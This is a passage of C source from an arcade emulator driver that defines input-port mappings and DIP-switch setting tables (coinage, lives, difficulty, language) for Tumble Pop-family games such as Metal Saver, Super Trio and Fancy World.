start" }, {"P1 Up" , BIT_DIGITAL , DrvInputPort0 + 0, "p1 up" }, {"P1 Down" , BIT_DIGITAL , DrvInputPort0 + 1, "p1 down" }, {"P1 Left" , BIT_DIGITAL , DrvInputPort0 + 2, "p1 left" }, {"P1 Right" , BIT_DIGITAL , DrvInputPort0 + 3, "p1 right" }, {"P1 Fire 1" , BIT_DIGITAL , DrvInputPort0 + 4, "p1 fire 1" }, {"P1 Fire 2" , BIT_DIGITAL , DrvInputPort0 + 5, "p1 fire 2" }, {"P2 Up" , BIT_DIGITAL , DrvInputPort1 + 0, "p2 up" }, {"P2 Down" , BIT_DIGITAL , DrvInputPort1 + 1, "p2 down" }, {"P2 Left" , BIT_DIGITAL , DrvInputPort1 + 2, "p2 left" }, {"P2 Right" , BIT_DIGITAL , DrvInputPort1 + 3, "p2 right" }, {"P2 Fire 1" , BIT_DIGITAL , DrvInputPort1 + 4, "p2 fire 1" }, {"P2 Fire 2" , BIT_DIGITAL , DrvInputPort1 + 5, "p2 fire 2" }, {"Reset" , BIT_DIGITAL , &DrvReset , "reset" }, {"Service" , BIT_DIGITAL , DrvInputPort2 + 2, "service" }, {"Dip 1" , BIT_DIPSWITCH, DrvDip + 0 , "dip" }, {"Dip 2" , BIT_DIPSWITCH, DrvDip + 1 , "dip" }, }; STDINPUTINFO(Tumbleb) static struct BurnInputInfo MetlsavrInputList[] = { {"Coin 1" , BIT_DIGITAL , DrvInputPort2 + 0, "p1 coin" }, {"Start 1" , BIT_DIGITAL , DrvInputPort0 + 7, "p1 start" }, {"Coin 2" , BIT_DIGITAL , DrvInputPort2 + 1, "p2 coin" }, {"Start 2" , BIT_DIGITAL , DrvInputPort1 + 7, "p2 start" }, {"P1 Up" , BIT_DIGITAL , DrvInputPort0 + 0, "p1 up" }, {"P1 Down" , BIT_DIGITAL , DrvInputPort0 + 1, "p1 down" }, {"P1 Left" , BIT_DIGITAL , DrvInputPort0 + 2, "p1 left" }, {"P1 Right" , BIT_DIGITAL , DrvInputPort0 + 3, "p1 right" }, {"P1 Fire 1" , BIT_DIGITAL , DrvInputPort0 + 4, "p1 fire 1" }, {"P1 Fire 2" , BIT_DIGITAL , DrvInputPort0 + 5, "p1 fire 2" }, {"P1 Fire 3" , BIT_DIGITAL , DrvInputPort0 + 6, "p1 fire 3" }, {"P2 Up" , BIT_DIGITAL , DrvInputPort1 + 0, "p2 up" }, {"P2 Down" , BIT_DIGITAL , DrvInputPort1 + 1, "p2 down" }, {"P2 Left" , BIT_DIGITAL , DrvInputPort1 + 2, "p2 left" }, {"P2 Right" , BIT_DIGITAL , DrvInputPort1 + 3, "p2 right" }, {"P2 Fire 1" , BIT_DIGITAL , DrvInputPort1 + 4, "p2 fire 1" }, {"P2 Fire 2" , BIT_DIGITAL , DrvInputPort1 + 5, "p2 fire 2" }, {"P2 Fire 3" , BIT_DIGITAL , DrvInputPort1 + 6, "p2 fire 3" }, {"Reset" , BIT_DIGITAL , &DrvReset , "reset" }, {"Dip 1" , BIT_DIPSWITCH, DrvDip + 0 , "dip" }, {"Dip 2" , BIT_DIPSWITCH, DrvDip + 1 , "dip" }, }; STDINPUTINFO(Metlsavr) static struct BurnInputInfo SuprtrioInputList[] = { {"Coin 1" , BIT_DIGITAL , DrvInputPort2 + 0, "p1 coin" }, {"Start 1" , BIT_DIGITAL , DrvInputPort0 + 7, "p1 start" }, {"Start 2" , BIT_DIGITAL , DrvInputPort1 + 7, "p2 start" }, {"P1 Up" , BIT_DIGITAL , DrvInputPort0 + 0, "p1 up" }, {"P1 Down" , BIT_DIGITAL , DrvInputPort0 + 1, "p1 down" }, {"P1 Left" , BIT_DIGITAL , DrvInputPort0 + 2, "p1 left" }, {"P1 Right" , BIT_DIGITAL , DrvInputPort0 + 3, "p1 right" }, {"P1 Fire 1" , BIT_DIGITAL , DrvInputPort0 + 4, "p1 fire 1" }, {"P1 Fire 2" , BIT_DIGITAL , DrvInputPort0 + 5, "p1 fire 2" }, {"P1 Fire 3" , BIT_DIGITAL , DrvInputPort0 + 6, "p1 fire 3" }, {"P2 Up" , BIT_DIGITAL , DrvInputPort1 + 0, "p2 up" }, {"P2 Down" , BIT_DIGITAL , DrvInputPort1 + 1, "p2 down" }, {"P2 Left" , BIT_DIGITAL , DrvInputPort1 + 2, "p2 left" }, {"P2 Right" , BIT_DIGITAL , DrvInputPort1 + 3, "p2 right" }, {"P2 Fire 1" , BIT_DIGITAL , DrvInputPort1 + 4, "p2 fire 1" }, {"P2 Fire 2" , BIT_DIGITAL , DrvInputPort1 + 5, "p2 fire 2" }, {"P2 Fire 3" , BIT_DIGITAL , DrvInputPort1 + 6, "p2 fire 3" }, {"Reset" , BIT_DIGITAL , &DrvReset , "reset" }, {"Dip 1" , BIT_DIPSWITCH, DrvDip + 0 , "dip" }, }; STDINPUTINFO(Suprtrio) static struct BurnInputInfo HtchctchInputList[] = { {"Coin 1" , BIT_DIGITAL , DrvInputPort2 + 0, "p1 coin" }, {"Start 1" , BIT_DIGITAL , DrvInputPort0 + 7, "p1 start" }, {"Coin 2" , BIT_DIGITAL , DrvInputPort2 + 1, "p2 coin" }, {"Start 2" , BIT_DIGITAL , DrvInputPort1 + 7, "p2 start" }, {"P1 Up" , BIT_DIGITAL , DrvInputPort0 + 0, "p1 up" }, {"P1 Down" , BIT_DIGITAL , DrvInputPort0 + 1, "p1 down" }, {"P1 Left" , BIT_DIGITAL , DrvInputPort0 + 2, "p1 left" }, {"P1 Right" , BIT_DIGITAL , DrvInputPort0 + 3, "p1 right" }, {"P1 Fire 1" , BIT_DIGITAL , DrvInputPort0 + 4, "p1 fire 1" }, {"P1 Fire 2" , BIT_DIGITAL , DrvInputPort0 + 5, "p1 fire 2" }, {"P2 Up" , BIT_DIGITAL , DrvInputPort1 + 0, "p2 up" }, {"P2 Down" , BIT_DIGITAL , DrvInputPort1 + 1, "p2 down" }, {"P2 Left" , BIT_DIGITAL , DrvInputPort1 + 2, "p2 left" }, {"P2 Right" , BIT_DIGITAL , DrvInputPort1 + 3, "p2 right" }, {"P2 Fire 1" , BIT_DIGITAL , DrvInputPort1 + 4, "p2 fire 1" }, {"P2 Fire 2" , BIT_DIGITAL , DrvInputPort1 + 5, "p2 fire 2" }, {"Reset" , BIT_DIGITAL , &DrvReset , "reset" }, {"Dip 1" , BIT_DIPSWITCH, DrvDip + 0 , "dip" }, {"Dip 2" , BIT_DIPSWITCH, DrvDip + 1 , "dip" }, }; STDINPUTINFO(Htchctch) static struct BurnInputInfo FncywldInputList[] = { {"Coin 1" , BIT_DIGITAL , DrvInputPort2 + 0, "p1 coin" }, {"Start 1" , BIT_DIGITAL , DrvInputPort0 + 7, "p1 start" }, {"Coin 2" , BIT_DIGITAL , DrvInputPort2 + 1, "p2 coin" }, {"Start 2" , BIT_DIGITAL , DrvInputPort1 + 7, "p2 start" }, {"P1 Up" , BIT_DIGITAL , DrvInputPort0 + 0, "p1 up" }, {"P1 Down" , BIT_DIGITAL , DrvInputPort0 + 1, "p1 down" }, {"P1 Left" , BIT_DIGITAL , DrvInputPort0 + 2, "p1 left" }, {"P1 Right" , BIT_DIGITAL , DrvInputPort0 + 3, "p1 right" }, {"P1 Fire 1" , BIT_DIGITAL , DrvInputPort0 + 4, "p1 fire 1" }, {"P1 Fire 2" , BIT_DIGITAL , DrvInputPort0 + 5, "p1 fire 2" }, {"P1 Fire 3" , BIT_DIGITAL , DrvInputPort0 + 6, "p1 fire 3" }, {"P2 Up" , BIT_DIGITAL , DrvInputPort1 + 0, "p2 up" }, {"P2 Down" , BIT_DIGITAL , DrvInputPort1 + 1, "p2 down" }, {"P2 Left" , BIT_DIGITAL , DrvInputPort1 + 2, "p2 left" }, {"P2 Right" , BIT_DIGITAL , DrvInputPort1 + 3, "p2 right" }, {"P2 Fire 1" , BIT_DIGITAL , DrvInputPort1 + 4, "p2 fire 1" }, {"P2 Fire 2" , BIT_DIGITAL , DrvInputPort1 + 5, "p2 fire 2" }, {"P2 Fire 3" , BIT_DIGITAL , DrvInputPort1 + 6, "p2 fire 3" }, {"Reset" , BIT_DIGITAL , &DrvReset , "reset" }, {"Service" , BIT_DIGITAL , DrvInputPort2 + 2, "service" }, {"Dip 1" , BIT_DIPSWITCH, DrvDip + 0 , "dip" }, {"Dip 2" , BIT_DIPSWITCH, DrvDip + 1 , "dip" }, }; STDINPUTINFO(Fncywld) static struct BurnInputInfo SemibaseInputList[] = { {"Coin 1" , BIT_DIGITAL , DrvInputPort2 + 0, "p1 coin" }, {"Start 1" , BIT_DIGITAL , DrvInputPort0 + 7, "p1 start" }, {"Coin 2" , BIT_DIGITAL , DrvInputPort2 + 1, "p2 coin" }, {"Start 2" , BIT_DIGITAL , DrvInputPort1 + 7, "p2 start" }, {"Coin 3" , BIT_DIGITAL , DrvInputPort2 + 2, "p3 coin" }, {"Coin 4" , BIT_DIGITAL , DrvInputPort2 + 3, "p4 coin" }, {"P1 Up" , BIT_DIGITAL , DrvInputPort0 + 0, "p1 up" }, {"P1 Down" , BIT_DIGITAL , DrvInputPort0 + 1, "p1 down" }, {"P1 Left" , BIT_DIGITAL , DrvInputPort0 + 2, "p1 left" }, {"P1 Right" , BIT_DIGITAL , DrvInputPort0 + 3, "p1 right" }, {"P1 Fire 1" , BIT_DIGITAL , DrvInputPort0 + 4, "p1 fire 1" }, {"P1 Fire 2" , BIT_DIGITAL , DrvInputPort0 + 5, "p1 fire 2" }, {"P1 Fire 3" , BIT_DIGITAL , DrvInputPort0 + 6, "p1 fire 3" }, {"P2 Up" , BIT_DIGITAL , DrvInputPort1 + 0, "p2 up" }, {"P2 Down" , BIT_DIGITAL , DrvInputPort1 + 1, "p2 down" }, {"P2 Left" , BIT_DIGITAL , DrvInputPort1 + 2, "p2 left" }, {"P2 Right" , BIT_DIGITAL , DrvInputPort1 + 3, "p2 right" }, {"P2 Fire 1" , BIT_DIGITAL , DrvInputPort1 + 4, "p2 fire 1" }, {"P2 Fire 2" , BIT_DIGITAL , DrvInputPort1 + 5, "p2 fire 2" }, {"P2 Fire 3" , BIT_DIGITAL , DrvInputPort1 + 6, "p2 fire 3" }, {"Reset" , BIT_DIGITAL , &DrvReset , "reset" }, {"Dip 1" , BIT_DIPSWITCH, DrvDip + 0 , "dip" }, {"Dip 2" , BIT_DIPSWITCH, DrvDip + 1 , "dip" }, }; STDINPUTINFO(Semibase) static struct BurnInputInfo JumppopInputList[] = { {"Coin 1" , BIT_DIGITAL , DrvInputPort2 + 0, "p1 coin" }, {"Start 1" , BIT_DIGITAL , DrvInputPort2 + 2, "p1 start" }, {"Coin 2" , BIT_DIGITAL , DrvInputPort2 + 1, "p2 coin" }, {"Start 2" , BIT_DIGITAL , DrvInputPort2 + 3, "p2 start" }, {"P1 Up" , BIT_DIGITAL , DrvInputPort0 + 0, "p1 up" }, {"P1 Down" , BIT_DIGITAL , DrvInputPort0 + 1, "p1 down" }, {"P1 Left" , BIT_DIGITAL , DrvInputPort0 + 2, "p1 left" }, {"P1 Right" , BIT_DIGITAL , DrvInputPort0 + 3, "p1 right" }, {"P1 Fire 1" , BIT_DIGITAL , DrvInputPort0 + 4, "p1 fire 1" }, {"P1 Fire 2" , BIT_DIGITAL , DrvInputPort0 + 5, "p1 fire 2" }, {"P2 Up" , BIT_DIGITAL , DrvInputPort1 + 0, "p2 up" }, {"P2 Down" , BIT_DIGITAL , DrvInputPort1 + 1, "p2 down" }, {"P2 Left" , BIT_DIGITAL , DrvInputPort1 + 2, "p2 left" }, {"P2 Right" , BIT_DIGITAL , DrvInputPort1 + 3, "p2 right" }, {"P2 Fire 1" , BIT_DIGITAL , DrvInputPort1 + 4, "p2 fire 1" }, {"P2 Fire 2" , BIT_DIGITAL , DrvInputPort1 + 5, "p2 fire 2" }, {"Reset" , BIT_DIGITAL , &DrvReset , "reset" }, {"Dip 1" , BIT_DIPSWITCH, DrvDip + 0 , "dip" }, {"Dip 2" , BIT_DIPSWITCH, DrvDip + 1 , "dip" }, }; STDINPUTINFO(Jumppop) static struct BurnDIPInfo TumblebDIPList[]= { // Default Values {0x12, 0xff, 0xff, 0xff, NULL }, {0x13, 0xff, 0xff, 0xfe, NULL }, // Dip 1 {0 , 0xfe, 0 , 8 , "Coin A" }, {0x12, 0x01, 0xe0, 0x00, "3 Coins 1 Credit" }, {0x12, 0x01, 0xe0, 0x80, "2 Coins 1 Credit" }, {0x12, 0x01, 0xe0, 0xe0, "1 Coin 1 Credit" }, {0x12, 0x01, 0xe0, 0x60, "1 Coin 2 Credits" }, {0x12, 0x01, 0xe0, 0xa0, "1 Coin 3 Credits" }, {0x12, 0x01, 0xe0, 0x20, "1 Coin 4 Credits" }, {0x12, 0x01, 0xe0, 0xc0, "1 Coin 5 Credits" }, {0x12, 0x01, 0xe0, 0x40, "1 Coin 6 Credits" }, {0 , 0xfe, 0 , 8 , "Coin B" }, {0x12, 0x01, 0x1c, 0x00, "3 Coins 1 Credit" }, {0x12, 0x01, 0x1c, 0x10, "2 Coins 1 Credit" }, {0x12, 0x01, 0x1c, 0x1c, "1 Coin 1 Credit" }, {0x12, 0x01, 0x1c, 0x0c, "1 Coin 2 Credits" }, {0x12, 0x01, 0x1c, 0x14, "1 Coin 3 Credits" }, {0x12, 0x01, 0x1c, 0x04, "1 Coin 4 Credits" }, {0x12, 0x01, 0x1c, 0x18, "1 Coin 5 Credits" }, {0x12, 0x01, 0x1c, 0x08, "1 Coin 6 Credits" }, {0 , 0xfe, 0 , 2 , "Flip Screen" }, {0x12, 0x01, 0x02, 0x02, "Off" }, {0x12, 0x01, 0x02, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "2 Coins to Start, 1 to Continue" }, {0x12, 0x01, 0x01, 0x01, "Off" }, {0x12, 0x01, 0x01, 0x00, "On" }, // Dip 2 {0 , 0xfe, 0 , 4 , "Lives" }, {0x13, 0x01, 0xc0, 0x80, "1" }, {0x13, 0x01, 0xc0, 0x00, "2" }, {0x13, 0x01, 0xc0, 0xc0, "3" }, {0x13, 0x01, 0xc0, 0x40, "4" }, {0 , 0xfe, 0 , 4 , "Difficulty" }, {0x13, 0x01, 0x30, 0x10, "Easy" }, {0x13, 0x01, 0x30, 0x30, "Normal" }, {0x13, 0x01, 0x30, 0x20, "Hard" }, {0x13, 0x01, 0x30, 0x00, "Hardest" }, {0 , 0xfe, 0 , 2 , "Allow Continue" }, {0x13, 0x01, 0x02, 0x00, "Off" }, {0x13, 0x01, 0x02, 0x02, "On" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x13, 0x01, 0x01, 0x01, "Off" }, {0x13, 0x01, 0x01, 0x00, "On" }, }; STDDIPINFO(Tumbleb) static struct BurnDIPInfo MetlsavrDIPList[]= { // Default Values {0x13, 0xff, 0xff, 0xff, NULL }, {0x14, 0xff, 0xff, 0xff, NULL }, // Dip 1 {0 , 0xfe, 0 , 4 , "Lives" }, {0x13, 0x01, 0x0c, 0x00, "2" }, {0x13, 0x01, 0x0c, 0x0c, "3" }, {0x13, 0x01, 0x0c, 0x08, "4" }, {0x13, 0x01, 0x0c, 0x04, "5" }, {0 , 0xfe, 0 , 8 , "Coinage" }, {0x13, 0x01, 0x70, 0x00, "5 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x10, "4 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x20, "3 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x30, "2 Coins 1 Credit" }, {0x13, 0x01, 0x70, 0x70, "1 Coin 1 Credit" }, {0x13, 0x01, 0x70, 0x60, "1 Coin 2 Credits" }, {0x13, 0x01, 0x70, 0x50, "1 Coin 3 Credits" }, {0x13, 0x01, 0x70, 0x40, "1 Coin 5 Credits" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x13, 0x01, 0x80, 0x00, "Off" }, {0x13, 0x01, 0x80, 0x80, "On" }, // Dip 2 {0 , 0xfe, 0 , 2 , "Language" }, {0x14, 0x01, 0x08, 0x08, "English" }, {0x14, 0x01, 0x08, 0x00, "Korean" }, {0 , 0xfe, 0 , 4 , "Life Meter" }, {0x14, 0x01, 0x30, 0x00, "66%" }, {0x14, 0x01, 0x30, 0x30, "100%" }, {0x14, 0x01, 0x30, 0x20, "133%" }, {0x14, 0x01, 0x30, 0x10, "166%" }, {0 , 0xfe, 0 , 4 , "Time" }, {0x14, 0x01, 0xc0, 0x40, "30 Seconds" }, {0x14, 0x01, 0xc0, 0x80, "40 Seconds" }, {0x14, 0x01, 0xc0, 0xc0, "60 Seconds" }, {0x14, 0x01, 0xc0, 0x00, "80 Seconds" }, }; STDDIPINFO(Metlsavr) static struct BurnDIPInfo SuprtrioDIPList[]= { // Default Values {0x12, 0xff, 0xff, 0x10, NULL }, // Dip 1 {0 , 0xfe, 0 , 8 , "Coin A" }, {0x12, 0x01, 0x07, 0x06, "5 Coins 1 Credit" }, {0x12, 0x01, 0x07, 0x05, "4 Coins 1 Credit" }, {0x12, 0x01, 0x07, 0x04, "3 Coins 1 Credit" }, {0x12, 0x01, 0x07, 0x03, "2 Coins 1 Credit" }, {0x12, 0x01, 0x07, 0x00, "1 Coin 1 Credit" }, {0x12, 0x01, 0x07, 0x01, "1 Coin 2 Credits" }, {0x12, 0x01, 0x07, 0x02, "1 Coin 3 Credits" }, {0x12, 0x01, 0x07, 0x07, "Free Play" }, {0 , 0xfe, 0 , 4 , "Lives" }, {0x12, 0x01, 0x18, 0x00, "1" }, {0x12, 0x01, 0x18, 0x08, "2" }, {0x12, 0x01, 0x18, 0x10, "3" }, {0x12, 0x01, 0x18, 0x18, "5" }, {0 , 0xfe, 0 , 2 , "Difficulty" }, {0x12, 0x01, 0x20, 0x00, "Normal" }, {0x12, 0x01, 0x20, 0x20, "Hard" }, {0 , 0xfe, 0 , 2 , "Bonus Life" }, {0x12, 0x01, 0x40, 0x00, "50000" }, {0x12, 0x01, 0x40, 0x40, "60000" }, {0 , 0xfe, 0 , 2 , "Service Mode" }, {0x12, 0x01, 0x80, 0x00, "Off" }, {0x12, 0x01, 0x80, 0x80, "On" }, }; STDDIPINFO(Suprtrio) static struct BurnDIPInfo HtchctchDIPList[]= { // Default Values {0x11, 0xff, 0xff, 0xff, NULL }, {0x12, 0xff, 0xff, 0x7f, NULL }, // Dip 1 // Dip 2 {0 , 0xfe, 0 , 2 , "Service Mode" }, {0x12, 0x01, 0x01, 0x01, "Off" }, {0x12, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 4 , "Difficulty" }, {0x12, 0x01, 0x06, 0x00, "Easy" }, {0x12, 0x01, 0x06, 0x06, "Normal" }, {0x12, 0x01, 0x06, 0x02, "Hard" }, {0x12, 0x01, 0x06, 0x04, "Very Hard" }, {0 , 0xfe, 0 , 8 , "Coinage" }, {0x12, 0x01, 0x38, 0x00, "5 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x20, "4 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x10, "3 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x30, "2 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x38, "1 Coin 1 Credit" }, {0x12, 0x01, 0x38, 0x28, "2 Coins 3 Credits" }, {0x12, 0x01, 0x38, 0x18, "1 Coin 2 Credits" }, {0x12, 0x01, 0x38, 0x08, "1 Coin 3 Credits" }, {0 , 0xfe, 0 , 2 , "Stage Skip" }, {0x12, 0x01, 0x40, 0x40, "Off" }, {0x12, 0x01, 0x40, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x12, 0x01, 0x80, 0x80, "Off" }, {0x12, 0x01, 0x80, 0x00, "On" }, }; STDDIPINFO(Htchctch) static struct BurnDIPInfo CookbibDIPList[]= { // Default Values {0x11, 0xff, 0xff, 0xff, NULL }, {0x12, 0xff, 0xff, 0x7f, NULL }, // Dip 1 // Dip 2 {0 , 0xfe, 0 , 2 , "Service Mode" }, {0x12, 0x01, 0x01, 0x01, "Off" }, {0x12, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 4 , "Difficulty" }, {0x12, 0x01, 0x06, 0x00, "Easy" }, {0x12, 0x01, 0x06, 0x06, "Normal" }, {0x12, 0x01, 0x06, 0x02, "Hard" }, {0x12, 0x01, 0x06, 0x04, "Very Hard" }, {0 , 0xfe, 0 , 8 , "Coinage" }, {0x12, 0x01, 0x38, 0x00, "5 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x20, "4 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x10, "3 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x30, "2 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x38, "1 Coin 1 Credit" }, {0x12, 0x01, 0x38, 0x28, "2 Coins 3 Credits" }, {0x12, 0x01, 0x38, 0x18, "1 Coin 2 Credits" }, {0x12, 0x01, 0x38, 0x08, "1 Coin 3 Credits" }, {0 , 0xfe, 0 , 2 , "Winning Rounds (vs mode)"}, {0x12, 0x01, 0x40, 0x00, "1" }, {0x12, 0x01, 0x40, 0x40, "2" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x12, 0x01, 0x80, 0x80, "Off" }, {0x12, 0x01, 0x80, 0x00, "On" }, }; STDDIPINFO(Cookbib) static struct BurnDIPInfo ChokchokDIPList[]= { // Default Values {0x11, 0xff, 0xff, 0xff, NULL }, {0x12, 0xff, 0xff, 0x7f, NULL }, // Dip 1 {0 , 0xfe, 0 , 2 , "Winning Rounds (vs mode)"}, {0x11, 0x01, 0x01, 0x00, "2" }, {0x11, 0x01, 0x01, 0x01, "3" }, {0 , 0xfe, 0 , 2 , "Time" }, {0x11, 0x01, 0x20, 0x20, "60 Seconds" }, {0x11, 0x01, 0x20, 0x00, "90 Seconds" }, {0 , 0xfe, 0 , 4 , "Starting Balls" }, {0x11, 0x01, 0xc0, 0x00, "3" }, {0x11, 0x01, 0xc0, 0xc0, "4" }, {0x11, 0x01, 0xc0, 0x40, "5" }, {0x11, 0x01, 0xc0, 0x80, "6" }, // Dip 2 {0 , 0xfe, 0 , 2 , "Service Mode" }, {0x12, 0x01, 0x01, 0x01, "Off" }, {0x12, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 4 , "Difficulty" }, {0x12, 0x01, 0x06, 0x00, "Easy" }, {0x12, 0x01, 0x06, 0x06, "Normal" }, {0x12, 0x01, 0x06, 0x02, "Hard" }, {0x12, 0x01, 0x06, 0x04, "Very Hard" }, {0 , 0xfe, 0 , 8 , "Coinage" }, {0x12, 0x01, 0x38, 0x00, "5 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x20, "4 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x10, "3 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x30, "2 Coins 1 Credit" }, {0x12, 0x01, 0x38, 0x38, "1 Coin 1 Credit" }, {0x12, 0x01, 0x38, 0x28, "2 Coins 3 Credits" }, {0x12, 0x01, 0x38, 0x18, "1 Coin 2 Credits" }, {0x12, 0x01, 0x38, 0x08, "1 Coin 3 Credits" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x12, 0x01, 0x80, 0x80, "Off" }, {0x12, 0x01, 0x80, 0x00, "On" }, }; STDDIPINFO(Chokchok) static struct BurnDIPInfo WlstarDIPList[]= { // Default Values {0x13, 0xff, 0xff, 0xff, NULL }, {0x14, 0xff, 0xff, 0x7f, NULL }, // Dip 1 {0 , 0xfe, 0 , 2 , "2 Players Game" }, {0x13, 0x01, 0x10, 0x00, "1 Credit" }, {0x13, 0x01, 0x10, 0x10, "2 Credits" }, {0 , 0xfe, 0 , 4 , "Difficulty" }, {0x13, 0x01, 0xc0, 0x00, "Easy" }, {0x13, 0x01, 0xc0, 0xc0, "Normal" }, {0x13, 0x01, 0xc0, 0x40, "Hard" }, {0x13, 0x01, 0xc0, 0x80, "Hardest" }, // Dip 2 {0 , 0xfe, 0 , 2 , "Last Inning" }, {0x14, 0x01, 0x01, 0x00, "9" }, {0x14, 0x01, 0x01, 0x01, "12" }, {0 , 0xfe, 0 , 2 , "Versus CPU Game Ends" }, {0x14, 0x01, 0x02, 0x02, "+10" }, {0x14, 0x01, 0x02, 0x00, "+7" }, {0 , 0xfe, 0 , 2 , "Versus Game" }, {0x14, 0x01, 0x04, 0x00, "1 Credit / 2 Innings" }, {0x14, 0x01, 0x04, 0x04, "1 Credit / 3 Innings" }, {0 , 0xfe, 0 , 2 , "Full 2 Players Game" }, {0x14, 0x01, 0x08, 0x00, "4 Credits" }, {0x14, 0x01, 0x08, 0x08, "6 Credits" }, {0 , 0xfe, 0 , 8 , "Coinage" }, {0x14, 0x01, 0x70, 0x00, "5 Coins 1 Credit" }, {0x14, 0x01, 0x70, 0x40, "4 Coins 1 Credit" }, {0x14, 0x01, 0x70, 0x20, "3 Coins 1 Credit" }, {0x14, 0x01, 0x70, 0x60, "2 Coins 1 Credit" }, {0x14, 0x01, 0x70, 0x70, "1 Coin 1 Credit" }, {0x14, 0x01, 0x70, 0x50, "2 Coins 3 Credits" }, {0x14, 0x01, 0x70, 0x30, "1 Coin 2 Credits" }, {0x14, 0x01, 0x70, 0x10, "1 Coin 3 Credits" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x14, 0x01, 0x80, 0x80, "Off" }, {0x14, 0x01, 0x80, 0x00, "On" }, }; STDDIPINFO(Wlstar) static struct BurnDIPInfo Wondl96DIPList[]= { // Default Values {0x13, 0xff, 0xff, 0x7f, NULL }, {0x14, 0xff, 0xff, 0xff, NULL }, // Dip 1 {0 , 0xfe, 0 , 2 , "Free Play" }, {0x13, 0x01, 0x01, 0x01, "Off" }, {0x13, 0x01, 0x01, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "Field Colour" }, {0x13, 0x01, 0x10, 0x10, "Blue" }, {0x13, 0x01, 0x10, 0x00, "Green" }, {0 , 0xfe, 0 , 2 , "Versus CPU Game Ends" }, {0x13, 0x01, 0x20, 0x20, "+10" }, {0x13, 0x01, 0x20, 0x00, "+7" }, {0 , 0xfe, 0 , 2 , "Versus Game" }, {0x13, 0x01, 0x40, 0x00, "1 Credit / 2 Innings" }, {0x13, 0x01, 0x40, 0x40, "1 Credit / 3 Innings" }, {0 , 0xfe, 0 , 2 , "Full 2 Players Game" }, {0x13, 0x01, 0x80, 0x80, "4 Credits" }, {0x13, 0x01, 0x80, 0x00, "6 Credits" }, // Dip 2 {0 , 0xfe, 0 , 8 , "Difficulty" }, {0x14, 0x01, 0x0e, 0x04, "Level 1" }, {0x14, 0x01, 0x0e, 0x08, "Level 2" }, {0x14, 0x01, 0x0e, 0x00, "Level 3" }, {0x14, 0x01, 0x0e, 0x0e, "Level 4" }, {0x14, 0x01, 0x0e, 0x06, "Level 5" }, {0x14, 0x01, 0x0e, 0x0a, "Level 6" }, {0x14, 0x01, 0x0e, 0x02, "Level 7" }, {0x14, 0x01, 0x0e, 0x0c, "Level 8" }, {0 , 0xfe, 0 , 8 , "Coinage" }, {0x14, 0x01, 0x70, 0x00, "5 Coins 1 Credit" }, {0x14, 0x01, 0x70, 0x40, "4 Coins 1 Credit" }, {0x14, 0x01, 0x70, 0x20, "3 Coins 1 Credit" }, {0x14, 0x01, 0x70, 0x60, "2 Coins 1 Credit" }, {0x14, 0x01, 0x70, 0x70, "1 Coin 1 Credit" }, {0x14, 0x01, 0x70, 0x50, "2 Coins 3 Credits" }, {0x14, 0x01, 0x70, 0x30, "1 Coin 2 Credits" }, {0x14, 0x01, 0x70, 0x10, "1 Coin 3 Credits" }, }; STDDIPINFO(Wondl96) static struct BurnDIPInfo FncywldDIPList[]= { // Default Values {0x14, 0xff, 0xff, 0xf7, NULL }, {0x15, 0xff, 0xff, 0xff, NULL }, // Dip 1 {0 , 0xfe, 0 , 8 , "Coinage" }, {0x14, 0x01, 0xe0, 0x20, "4 Coins 1 Credit" }, {0x14, 0x01, 0xe0, 0x40, "3 Coins 1 Credit" }, {0x14, 0x01, 0xe0, 0x60, "2 Coins 1 Credit" }, {0x14, 0x01, 0xe0, 0x00, "2 Coins 1 Credit" }, {0x14, 0x01, 0xe0, 0xe0, "1 Coin 1 Credit" }, {0x14, 0x01, 0xe0, 0xc0, "1 Coin 2 Credits" }, {0x14, 0x01, 0xe0, 0xa0, "1 Coin 3 Credits" }, {0x14, 0x01, 0xe0, 0x80, "1 Coin 4 Credits" }, {0 , 0xfe, 0 , 2 , "Allow Continue" }, {0x14, 0x01, 0x10, 0x00, "Off" }, {0x14, 0x01, 0x10, 0x10, "On" }, {0 , 0xfe, 0 , 2 , "Demo Sounds" }, {0x14, 0x01, 0x08, 0x08, "Off" }, {0x14, 0x01, 0x08, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "Language" }, {0x14, 0x01, 0x04, 0x04, "English" }, {0x14, 0x01, 0x04, 0x00, "Korean" }, {0 , 0xfe, 0 , 2 , "Flip Screen" }, {0x14, 0x01, 0x02, 0x02, "Off" }, {0x14, 0x01, 0x02, 0x00, "On" }, {0 , 0xfe, 0 , 2 , "2 Coins to Start, 1 to Continue" }, {0x14, 0x01, 0x01, 0x01, "Off" }, {0x14, 0x01, 0x01, 0x00, "On" }, // Dip 2 {0 , 0xfe, 0 , 4 , "Lives" }, {0x15, 0x01, 0xc0, 0x80, "1" }, {0x15, 0x01, 0xc0, 0x00, "2" }, {0x15, 0x01, 0xc0, 0xc0, "3" }, {0x15, 0x01, 0xc0, 0x40, "4" }, {0 , 0xfe, 0 , 4 , "Difficulty" }, {0x15, 0x01, 0x30, 0x30, "Easy" }, {0x15, 0x01, 0x30, 0x20, "Normal" }, {0x15, 0x01, 0x30, 0x10, "Hard" }, {0x15, 0x01, 0x30, 0x00, "Hardest" 